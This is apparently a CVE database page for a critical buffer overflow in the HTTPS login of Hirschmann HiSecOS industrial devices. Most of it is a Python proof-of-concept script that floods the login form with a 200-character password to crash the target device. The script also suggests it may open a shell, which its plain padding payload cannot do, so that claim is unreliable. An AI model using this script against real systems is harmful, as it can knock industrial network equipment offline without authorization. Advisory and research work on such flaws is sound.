CVE-2018-25237

Description

Hirschmann HiSecOS devices versions prior to 05.3.03 contain a buffer overflow vulnerability in the HTTPS login interface when RADIUS authentication is enabled that allows remote attackers to crash the device or execute arbitrary code by submitting a password longer than 128 characters. Attackers can exploit improper bounds checking in password handling to overflow a fixed-size buffer and achieve denial of service or remote code execution.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Hirschmann HiSecOS < 05.3.03

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_ip = "192.168.1.1"
target_url = f"https://{target_ip}/login"

# Payload: Password longer than 128 characters to trigger buffer overflow
# Using 'A' * 200 to ensure the overflow occurs
malicious_password = "A" * 200

# Data payload typically sent to a login form
# Field names might vary based on specific device configuration
payload_data = {
    "username": "admin",
    "password": malicious_password
}

try:
    # Sending the request
    # verify=False is used because industrial devices often use self-signed certificates
    response = requests.post(target_url, data=payload_data, verify=False, timeout=10)
    
    if response.status_code == 200 or response.status_code == 500:
        print("[+] Payload sent successfully.")
        print("[+] Check if the device has crashed or if a shell has opened.")
    else:
        print(f"[-] Unexpected status code: {response.status_code}")
        
except requests.exceptions.RequestException as e:
    print(f"[-] Connection error: {e}")
    print("[-] The device might have crashed due to the overflow.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25237
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25237
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25237/
[4] VulDB https://vuldb.com/cve/CVE-2018-25237
[5] https://assets.belden.com/m/2d5657b3e5d721c6/original/Security-Bulletin-RADIUS-Authentication-BSECV-2018-04.pdf
[6] https://www.vulncheck.com/advisories/hirschmann-hisecos-buffer-overflow-via-https-login

Raw JSON Data

JSON

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